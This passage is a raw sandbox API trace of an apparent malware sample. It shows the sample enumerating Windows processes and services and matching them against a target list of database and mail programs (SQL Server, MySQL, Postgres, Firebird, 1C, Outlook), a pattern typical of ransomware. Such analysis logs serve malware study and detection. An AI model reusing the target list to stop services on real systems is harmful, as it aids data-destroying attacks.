(lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0167.789] lstrlenW (lpString="Netman") returned 6 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0167.789] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0167.789] lstrlenW (lpString="netprofm") returned 8 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0167.789] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0167.789] lstrlenW (lpString="NlaSvc") returned 6 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0167.789] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0167.790] lstrlenW (lpString="nsi") returned 3 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0167.790] lstrlenW (lpString="PcaSvc") returned 6 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0167.790] lstrlenW (lpString="PlugPlay") returned 8 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0167.790] lstrlenW (lpString="Power") returned 5 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0167.790] lstrlenW (lpString="ProfSvc") returned 7 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0167.790] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0167.790] lstrlenW (lpString="RpcEptMapper") returned 12 [0167.790] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.790] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0167.790] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0167.790] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0167.791] lstrlenW (lpString="RpcSs") returned 5 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0167.791] lstrlenW (lpString="SamSs") returned 5 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0167.791] lstrlenW (lpString="Schedule") returned 8 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0167.791] lstrlenW (lpString="SENS") returned 4 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0167.791] lstrlenW (lpString="ShellHWDetection") returned 16 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0167.791] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0167.791] lstrlenW (lpString="Spooler") returned 7 [0167.791] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0167.791] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0167.791] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0167.791] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0167.792] lstrlenW (lpString="SysMain") returned 7 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0167.792] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0167.792] lstrlenW (lpString="Themes") returned 6 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.792] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0167.792] lstrlenW (lpString="TrkWks") returned 6 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0167.792] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0167.792] lstrlenW (lpString="UxSms") returned 5 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0167.792] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.792] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.792] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.792] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.792] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.792] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.792] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.792] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.793] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.793] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.793] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.793] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.793] lstrlenW (lpString="Winmgmt") returned 7 [0167.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.793] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.793] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.793] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.793] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.793] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.793] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.793] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.793] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.793] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428e0b8 | out: hHeap=0x880000) returned 1 [0167.793] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x11c [0167.796] Process32FirstW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.796] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.797] lstrlenW (lpString="System") returned 6 [0167.797] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.797] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.797] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.797] lstrlenW (lpString="smss.exe") returned 8 [0167.797] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.797] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.797] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.798] lstrlenW (lpString="csrss.exe") returned 9 [0167.798] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.798] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.798] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.798] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.798] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.798] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.798] lstrlenW (lpString="wininit.exe") returned 11 [0167.798] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.798] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.798] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.799] lstrlenW (lpString="csrss.exe") returned 9 [0167.799] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.799] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.799] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.799] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.799] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.799] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.799] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.799] lstrlenW (lpString="winlogon.exe") returned 12 [0167.800] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.800] lstrlenW (lpString="services.exe") returned 12 [0167.800] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.800] lstrlenW (lpString="lsass.exe") returned 9 [0167.800] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.801] lstrlenW (lpString="lsm.exe") returned 7 [0167.801] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.801] lstrlenW (lpString="svchost.exe") returned 11 [0167.801] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.801] lstrlenW (lpString="svchost.exe") returned 11 [0167.801] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.802] lstrlenW (lpString="svchost.exe") returned 11 [0167.802] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.802] lstrlenW (lpString="svchost.exe") returned 11 [0167.802] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.803] lstrlenW (lpString="svchost.exe") returned 11 [0167.803] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.803] lstrlenW (lpString="audiodg.exe") returned 11 [0167.803] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.803] lstrlenW (lpString="svchost.exe") returned 11 [0167.803] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.804] lstrlenW (lpString="explorer.exe") returned 12 [0167.804] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.804] lstrlenW (lpString="dwm.exe") returned 7 [0167.804] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.804] lstrlenW (lpString="svchost.exe") returned 11 [0167.805] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0167.805] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.805] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.805] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.805] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.806] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.806] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.806] lstrlenW (lpString="svchost.exe") returned 11 [0167.806] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.806] lstrlenW (lpString="taskhost.exe") returned 12 [0167.806] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.807] lstrlenW (lpString="dllhost.exe") returned 11 [0167.807] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.807] lstrlenW (lpString="taskhost.exe") returned 12 [0167.807] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.807] lstrlenW (lpString="dllhost.exe") returned 11 [0167.807] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.808] lstrlenW (lpString="dllhost.exe") returned 11 [0167.808] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0167.808] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.808] Process32NextW (in: hSnapshot=0x11c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 0 [0167.809] CloseHandle (hObject=0x11c) returned 1 [0167.809] Sleep (dwMilliseconds=0x1f4) [0168.451] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b6b8 [0168.451] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0168.452] GetLastError () returned 0xea [0168.452] RtlAllocateHeap (HeapHandle=0x880000, 